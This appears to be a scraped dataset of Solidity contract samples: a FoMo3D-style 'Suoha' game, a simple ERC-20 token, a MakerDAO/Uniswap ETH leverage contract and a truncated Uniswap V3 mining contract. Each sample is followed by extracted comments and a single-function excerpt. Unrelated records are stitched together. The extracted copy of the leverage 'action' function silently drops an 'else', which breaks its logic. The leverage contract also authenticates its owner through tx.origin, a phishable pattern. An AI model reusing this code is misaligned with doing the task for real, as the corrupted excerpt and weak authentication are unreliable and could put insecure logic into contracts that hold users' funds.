returns(Suohadatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 2% into airdrop pot uint256 _air = (_eth / 50); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(24)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Suohadatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit Suohaevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require( msg.sender == community_addr, "only community can activate" ); // can only be ran once require(activated_ == false, "shuoha already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library Suohadatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library SuohaKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
============================================================================== _ |_ |. _ |` _ __|_. _ _ _ . |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)====|========================================================================= emergency buy uses last stored affiliate ID and team snek/ set up our tx event data and determine if player is new or not fetch player id buy core
function() isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); }
6,114,318
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "hardhat/console.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract Mytoken { string symbol = "MYT"; string name = "MyToken"; uint256 decimals = 18; uint256 _totalSupply = 0; address owner ; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowances; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Mint(address indexed to, uint256 value); event Burn(address indexed from, uint256 value); modifier onlyOwner { require(msg.sender == owner, "Only owner can do this"); _; } constructor() { owner = msg.sender; // totalSupply = 1000000 * (10 ** decimals); _totalSupply = 0 * (10 ** decimals); balances[msg.sender] = _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function totalSupply() public view returns (uint256 supply) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender], "Not enough balance"); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(_value <= allowances[_from][msg.sender], "Not enough allowance"); require(_value <= balances[_from], "Not enough balance"); balances[_from] -= _value; balances[_to] += _value; allowances[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // require(_value <= balances[msg.sender], "Not enough balance"); allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowances[_owner][_spender]; } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balances[owner] >= _value); balances[owner] -= _value; _totalSupply -= _value; emit Burn(owner, _value); return true; } // burn token of user function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balances[_from] >= _value); require(_value <= allowances[_from][owner]); balances[_from] -= _value; allowances[_from][owner] -= _value; _totalSupply -= _value; emit Burn(_from, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balances[target] += mintedAmount; _totalSupply += mintedAmount; emit Transfer(address(0), address(this), mintedAmount); emit Transfer(address(this), target, mintedAmount); } function mint(address _to, uint256 _value) onlyOwner public returns (bool success) { require(_value <= _totalSupply); balances[_to] += _value; _totalSupply += _value; emit Mint(_to, _value); console.log("mint", _to, _value); return true; } function AirDrop(address[] memory _recipients, uint _values) onlyOwner public returns (bool) { require(_recipients.length > 0, "Recipients must be an array of addresses"); for(uint j = 0; j < _recipients.length; j++){ transfer(_recipients[j], _values); } return true; } }
require(_value <= balances[msg.sender], "Not enough balance");
function approve(address _spender, uint256 _value) public returns (bool success) { allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; }
888,155
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; // --- INTERFACES --- // Interfaces for Uniswap and MakerDao // // CDP Interface contract DssCdpManagerLike { mapping (address => uint) public first; // Owner => First CDPId mapping (uint => address) public urns; // CDPId => UrnHandler } // Vat Interface contract VatLike { struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } struct Urn { uint256 ink; // Locked Collateral [wad] uint256 art; // Normalised Debt [wad] } mapping (bytes32 => Ilk) public ilks; mapping (bytes32 => mapping (address => Urn)) public urns; } // Proxy Registry Interface interface ProxyRegistryLike { function proxies(address) external view returns (address); // build proxy contract function build() external; } // Very basic Erc-20 like token interface interface TokenLike { function approve(address usr, uint wad) external returns (bool); function balanceOf(address account) external view returns (uint256); function withdraw(uint wad) external; function allowance(address owner,address spender) external view returns (uint256); } // Uniswap Router Interface interface UniswapV2Router02Like { function WETH() external returns (address); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } // Uniswap Factory Interface interface UniswapV2FactoryLike{ function getPair(address tokenA, address tokenB ) external view returns (address pair); } // Uniswap Pair Interface interface UniswapV2PairLike { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } // --- HELPER CONTRACT --- // Contract stores the state variables and very basic helper functions // contract HelperContract { address payable owner; address DssProxyActions = 0x82ecD135Dce65Fbc6DbdD0e4237E0AF93FFD5038; address CPD_MANAGER = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address MCD_VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address MCD_JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address ETH_JOIN = 0x2F0b23f53734252Bda2277357e97e1517d6B042A; address DAI_JOIN = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; bytes32 ilk = 0x4554482d41000000000000000000000000000000000000000000000000000000; address DAI_TOKEN = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address UNI_Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address UNI_Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address Wrapped_ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address MCD_PROXY_REGISTRY = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; address MCD_UrnHandler; address public proxy; uint256 public cdpi; uint8 public loopCount; DssCdpManagerLike dcml = DssCdpManagerLike(CPD_MANAGER); ProxyRegistryLike prl = ProxyRegistryLike(MCD_PROXY_REGISTRY); UniswapV2Router02Like url = UniswapV2Router02Like(UNI_Router); UniswapV2FactoryLike uv2 = UniswapV2FactoryLike(UNI_Factory); TokenLike dai = TokenLike(DAI_TOKEN); TokenLike weth = TokenLike(url.WETH()); VatLike vat = VatLike(MCD_VAT); // // Modifiers // // Ensure only the deployer of the contract can interact with Β΄onlyMyselfΒ΄ flagged functions modifier onlyMyself { require(tx.origin == owner, "Your not the owner"); _; } // Ensure only the DS Proxy doesn't already have opened a Vault modifier NoExistingCDP { require(cdpi == 0, "There exists already a CDP"); _; } // Ensure only the Contract doesn't already have a DS Proxy modifier NoExistingProxy { require(proxy == address(0), "There exists already a Proxy"); _; } // // Helper Function // // Return minimum and maximum draw amount of DAI function getMinAndMaxDraw(uint input) public view onlyMyself returns (uint[2] memory) { (,uint rate,uint spot,,uint dust) = vat.ilks(ilk); (uint balance, uint dept) = vat.urns(ilk, MCD_UrnHandler); uint ethbalance = balance + input; return [dust/rate, ethbalance*spot/rate-dept]; } // get Uniswap's exchange rate of DAI/WETH function getExchangeRate() public view onlyMyself returns(uint) { (uint a, uint b) = getTokenReserves_uni() ; return a/b; } // get token reserves from the pool to determine the current exchange rate function getTokenReserves_uni() public view onlyMyself returns (uint, uint) { address pair = uv2.getPair(DAI_TOKEN,address(weth)); (uint reserved0, uint reserved1,) = UniswapV2PairLike(pair).getReserves(); return (reserved0, reserved1); } // This contracts ether balance function daiBalance() public view onlyMyself returns (uint){ return dai.balanceOf(address(this)); } // This contracts weth balance function wethBalance() public view onlyMyself returns (uint){ return weth.balanceOf(address(this)); } // Check if Uniswap's Router is approved to transfer Dai function daiAllowanceApproved() public view onlyMyself returns (uint) { return dai.allowance(address(this),UNI_Router); } // This contracts' vault balance function vaultBalance() public view onlyMyself returns (uint[2] memory){ (uint coll, uint dept) = vat.urns(ilk, MCD_UrnHandler); return [coll, dept]; } // This contracts' vault balance incl. collaterals locked function vaultEndBalance() public view onlyMyself returns (uint){ (uint coll, ) = vat.urns(ilk, MCD_UrnHandler); return address(this).balance + coll; } } // --- CALLER CONTRACT --- // Contract stores the functions that interact with the protocols of MakerDao and Uniswap // contract CallerContract is HelperContract{ // Build DS Proxy for the CallerContract function buildProxy() NoExistingProxy public { prl.build(); proxy = prl.proxies(address(this)); // Safe proxy address to state variable } // Open CDP, lock some Eth and draw Dai function openLockETHAndDraw(uint input, uint drawAmount) public payable onlyMyself NoExistingCDP { bytes memory payload = abi.encodeWithSignature("openLockETHAndDraw(address,address,address,address,bytes32,uint256)", address(dcml), MCD_JUG, ETH_JOIN, DAI_JOIN, ilk, drawAmount ); (bool success, ) = proxy.call{ value:input }(abi.encodeWithSignature( "execute(address,bytes)", DssProxyActions, payload) ); cdpi = dcml.first(proxy); MCD_UrnHandler = dcml.urns(cdpi); } // Lock some Eth and draw Dai function lockETHAndDraw(uint input, uint drawAmount) public payable onlyMyself { bytes memory payload = abi.encodeWithSignature("lockETHAndDraw(address,address,address,address,uint256,uint256)", address(dcml), MCD_JUG, ETH_JOIN, DAI_JOIN, cdpi, drawAmount ); (bool success, ) = proxy.call{ value:input }(abi.encodeWithSignature( "execute(address,bytes)", DssProxyActions, payload) ); } // Approve Uniswap to take Dai tokens function approveUNIRouter(uint value) public onlyMyself { (bool success) = dai.approve(UNI_Router, value); require(success); } // Execute Swap from Dai to Weth on Uniswap function swapDAItoETH(uint value_in, uint value_out) public onlyMyself returns (uint[] memory amounts) { address[] memory path = new address[](2); path[0] = address(DAI_TOKEN); path[1] = url.WETH(); // IN and OUT amounts uint amount_in = value_in; uint amount_out = value_out; amounts = url.swapExactTokensForETH(amount_in, amount_out, path, address(this), block.timestamp + 60 ); return amounts; } // Swap WETH to ETH function wethToEthSwap() public onlyMyself { weth.withdraw(wethBalance()); } // Pay back contract's ether to owner function payBack() public onlyMyself { owner.transfer(address(this).balance); } fallback() external payable{} receive() external payable{} } // --- ETH LEVERAGE CONTRACT --- // Main Interface to interact with the CallerContract // contract EthLeverager is CallerContract { constructor() payable { owner = payable(msg.sender); } // // Single Round - Action function to execute the magic within one transaction // // Input: ExchangeRate DAI/ETH (1855), price tolerance in wei (1000000000) function action(uint rate, uint offset) payable onlyMyself public { // Ensure that the exchange rate didn't change dramatically uint exchangeRate = getExchangeRate(); require(exchangeRate >= rate - offset && exchangeRate <= rate + offset, "Exchange Rate might have changed or offset too small" ); uint input = msg.value; uint drawAmount = getMinAndMaxDraw(input)[1]; uint eth_out = drawAmount/(exchangeRate+offset); if (proxy == address(0)) { buildProxy(); } if (cdpi == 0){ openLockETHAndDraw(input, drawAmount); } else { lockETHAndDraw(input, drawAmount); } require(daiBalance()>0, "SR - Problem with lock and draw"); approveUNIRouter(drawAmount); require(daiAllowanceApproved() > 0, "SR - Problem with Approval"); swapDAItoETH(drawAmount, eth_out); } // // Mulitple Rounds - Action function to execute the magic within one transaction // // Input: Leverage factor (ex. 150), exchangeRate DAI/ETH (ex. 1855), price tolerance in wei (ex. 1000000000) function action(uint leverage, uint rate, uint offset) payable onlyMyself public { // Leverage factor cannot be risen above 2.7x require(leverage >= 100 && leverage < 270, "Leverage factor must be somewhere between 100 and 270"); // Ensure that the exchange rate didn't change dramatically uint exchangeRate = getExchangeRate(); require(exchangeRate >= rate - offset && exchangeRate <= rate + offset, "Exchange Rate might have changed or offset too small" ); // Desired ether amount at the end uint goal = msg.value*leverage/100; if (proxy == address(0)) { buildProxy(); } uint input = msg.value; uint[2] memory draw = getMinAndMaxDraw(input); uint minDraw = draw[0]; uint drawAmount = draw[1]; uint eth_out = drawAmount/(exchangeRate+offset); uint vault = vaultBalance()[0]; loopCount = 0; while ((vault < goal) && (drawAmount > minDraw)) { require(drawAmount > 0, "MR - Draw is zero"); require(eth_out > 0, "MR - ETH out is zero"); if (cdpi == 0){ openLockETHAndDraw(input, drawAmount); } else { lockETHAndDraw(input, drawAmount); } require(daiBalance() > 0, "MR - Problem with lock and draw"); approveUNIRouter(drawAmount); require(daiAllowanceApproved() > 0, "MR - Problem with approval"); swapDAItoETH(drawAmount, eth_out); require(address(this).balance > 0, "MR - Problem with the swap"); input = address(this).balance; draw = getMinAndMaxDraw(input); minDraw = draw[0]; drawAmount = draw[1]; eth_out = drawAmount/(exchangeRate+offset); vault = vaultBalance()[0]; require(vault > 0, "MR - Problem with the vault"); loopCount += 1; } } }
Mulitple Rounds - Action function to execute the magic within one transaction Input: Leverage factor (ex. 150), exchangeRate DAI/ETH (ex. 1855), price tolerance in wei (ex. 1000000000) Leverage factor cannot be risen above 2.7x Ensure that the exchange rate didn't change dramatically Desired ether amount at the end
function action(uint leverage, uint rate, uint offset) payable onlyMyself public { require(leverage >= 100 && leverage < 270, "Leverage factor must be somewhere between 100 and 270"); uint exchangeRate = getExchangeRate(); require(exchangeRate >= rate - offset && exchangeRate <= rate + offset, "Exchange Rate might have changed or offset too small" ); uint goal = msg.value*leverage/100; if (proxy == address(0)) { buildProxy(); } uint input = msg.value; uint[2] memory draw = getMinAndMaxDraw(input); uint minDraw = draw[0]; uint drawAmount = draw[1]; uint eth_out = drawAmount/(exchangeRate+offset); uint vault = vaultBalance()[0]; loopCount = 0; while ((vault < goal) && (drawAmount > minDraw)) { require(drawAmount > 0, "MR - Draw is zero"); require(eth_out > 0, "MR - ETH out is zero"); if (cdpi == 0){ openLockETHAndDraw(input, drawAmount); lockETHAndDraw(input, drawAmount); } require(daiBalance() > 0, "MR - Problem with lock and draw"); approveUNIRouter(drawAmount); require(daiAllowanceApproved() > 0, "MR - Problem with approval"); swapDAItoETH(drawAmount, eth_out); require(address(this).balance > 0, "MR - Problem with the swap"); input = address(this).balance; draw = getMinAndMaxDraw(input); minDraw = draw[0]; drawAmount = draw[1]; eth_out = drawAmount/(exchangeRate+offset); vault = vaultBalance()[0]; require(vault > 0, "MR - Problem with the vault"); loopCount += 1; } }
12,664,173
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; // Uncomment if needed. // import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../libraries/UniswapOracle.sol"; import "../libraries/FixedPoints.sol"; import "../multicall.sol"; /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; /// @notice Withdraw wrapped ether to get ether function withdraw(uint256) external; } /// @title Simple math library for Max and Min. library Math { function max(int24 a, int24 b) internal pure returns (int24) { return a >= b ? a : b; } function min(int24 a, int24 b) internal pure returns (int24) { return a < b ? a : b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function tickFloor(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 c = tick / tickSpacing; if (tick < 0 && tick % tickSpacing != 0) { c = c - 1; } c = c * tickSpacing; return c; } function tickUpper(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 c = tick / tickSpacing; if (tick > 0 && tick % tickSpacing != 0) { c = c + 1; } c = c * tickSpacing; return c; } } /// @title Uniswap V3 Liquidity Mining Main Contract contract MiningOneSideBoost is Ownable, Multicall, ReentrancyGuard { // using Math for int24; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.UintSet; using UniswapOracle for address; int24 internal constant TICK_MAX = 500000; int24 internal constant TICK_MIN = -500000; struct PoolInfo { address token0; address token1; uint24 fee; } bool uniIsETH; address uniToken; address lockToken; /// @dev Contract of the uniV3 Nonfungible Position Manager. address uniV3NFTManager; address uniFactory; address swapPool; PoolInfo public rewardPool; /// @dev Last block number that the accRewardRerShare is touched. uint256 lastTouchBlock; /// @dev The block number when NFT mining rewards starts/ends. uint256 startBlock; uint256 endBlock; uint256 lockBoostMultiplier; struct RewardInfo { /// @dev Contract of the reward erc20 token. address rewardToken; /// @dev who provides reward address provider; /// @dev Accumulated Reward Tokens per share, times Q128. uint256 accRewardPerShare; /// @dev Reward amount for each block. uint256 rewardPerBlock; } mapping(uint256 => RewardInfo) public rewardInfos; uint256 public rewardInfosLen; /// @dev Store the owner of the NFT token mapping(uint256 => address) public owners; /// @dev The inverse mapping of owners. mapping(address => EnumerableSet.UintSet) private tokenIds; /// @dev Record the status for a certain token for the last touched time. struct TokenStatus { uint256 nftId; // bool isDepositWithNFT; uint128 uniLiquidity; uint256 lockAmount; uint256 vLiquidity; uint256 validVLiquidity; uint256 nIZI; uint256 lastTouchBlock; uint256[] lastTouchAccRewardPerShare; } mapping(uint256 => TokenStatus) public tokenStatus; receive() external payable {} /// @dev token to lock, 0 for not boost IERC20 public iziToken; /// @dev current total nIZI. uint256 public totalNIZI; /// @dev Current total virtual liquidity. uint256 public totalVLiquidity; /// @dev Current total lock token uint256 public totalLock; // Events event Deposit(address indexed user, uint256 tokenId, uint256 nIZI); event Withdraw(address indexed user, uint256 tokenId); event CollectReward(address indexed user, uint256 tokenId, address token, uint256 amount); event ModifyEndBlock(uint256 endBlock); event ModifyRewardPerBlock(address indexed rewardToken, uint256 rewardPerBlock); event ModifyProvider(address indexed rewardToken, address provider); function _setRewardPool( address _uniToken, address _lockToken, uint24 fee ) internal { address token0; address token1; if (_uniToken < _lockToken) { token0 = _uniToken; token1 = _lockToken; } else { token0 = _lockToken; token1 = _uniToken; } rewardPool.token0 = token0; rewardPool.token1 = token1; rewardPool.fee = fee; } struct PoolParams { address uniV3NFTManager; address uniTokenAddr; address lockTokenAddr; uint24 fee; } constructor( PoolParams memory poolParams, RewardInfo[] memory _rewardInfos, uint256 _lockBoostMultiplier, address iziTokenAddr, uint256 _startBlock, uint256 _endBlock ) { uniV3NFTManager = poolParams.uniV3NFTManager; _setRewardPool( poolParams.uniTokenAddr, poolParams.lockTokenAddr, poolParams.fee ); address weth = INonfungiblePositionManager(uniV3NFTManager).WETH9(); require(weth != poolParams.lockTokenAddr, "WETH NOT SUPPORT"); uniFactory = INonfungiblePositionManager(uniV3NFTManager).factory(); uniToken = poolParams.uniTokenAddr; uniIsETH = (uniToken == weth); lockToken = poolParams.lockTokenAddr; IERC20(uniToken).safeApprove(uniV3NFTManager, type(uint256).max); swapPool = IUniswapV3Factory(uniFactory).getPool( lockToken, uniToken, poolParams.fee ); require(swapPool != address(0), "NO UNI POOL"); rewardInfosLen = _rewardInfos.length; require(rewardInfosLen > 0, "NO REWARD"); require(rewardInfosLen < 3, "AT MOST 2 REWARDS"); for (uint256 i = 0; i < rewardInfosLen; i++) { rewardInfos[i] = _rewardInfos[i]; rewardInfos[i].accRewardPerShare = 0; } require(_lockBoostMultiplier > 0, "M>0"); require(_lockBoostMultiplier < 4, "M<4"); lockBoostMultiplier = _lockBoostMultiplier; // iziTokenAddr == 0 means not boost iziToken = IERC20(iziTokenAddr); startBlock = _startBlock; endBlock = _endBlock; lastTouchBlock = startBlock; totalVLiquidity = 0; totalNIZI = 0; } /// @notice Get the overall info for the mining contract. function getMiningContractInfo() external view returns ( address uniToken_, address lockToken_, uint24 fee_, uint256 lockBoostMultiplier_, address iziTokenAddr_, uint256 lastTouchBlock_, uint256 totalVLiquidity_, uint256 totalLock_, uint256 totalNIZI_, uint256 startBlock_, uint256 endBlock_ ) { return ( uniToken, lockToken, rewardPool.fee, lockBoostMultiplier, address(iziToken), lastTouchBlock, totalVLiquidity, totalLock, totalNIZI, startBlock, endBlock ); } /// @dev compute amount of lockToken /// @param 